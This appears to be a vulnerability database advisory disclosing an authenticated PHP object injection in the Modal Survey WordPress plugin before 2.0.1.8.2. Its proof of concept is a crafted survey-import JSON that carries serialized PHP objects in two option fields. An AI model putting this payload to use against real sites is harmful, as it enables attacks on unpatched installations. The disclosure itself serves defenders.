WordPress Plugin Vulnerabilities
Modal Survey < 2.0.1.8.2 - Authenticated PHP Object Injection
Description
The Unserialize() function is used multiple times in the code, for example when importing custom surveys. This could allow a malicious administrator to import a crafted JSON to trigger a PHP Object Injection vulnerability
Proof of Concept
{ "name":"Open Text Answer Sample", "id":"924478511", "options":"[]", "global":"0", "start_time":"0000-00-00 00:00:00", "expiry_time":"0000-00-00 00:00:00", "export_time":"2020-12-21 01:08", "questions":{ "1":{ "name":"How fast is our support? [-]", "count":0, "qoptions":"O:21:\"Object_Injection_func\":0:{}", "1":{ "answer":"Very slow [Speed]", "count":"0", "aoptions":"O:21:\"Object_Injection_func\":0:{}", "percentage":"0", "uniqueid":"2646920000000" } } } }
Affects Plugins
References
Classification
Type
OBJECT INJECTION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Pagely
Submitter
John Castro
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-01-08 (about 3 years ago)
Added
2021-01-08 (about 3 years ago)
Last Updated
2021-01-10 (about 3 years ago)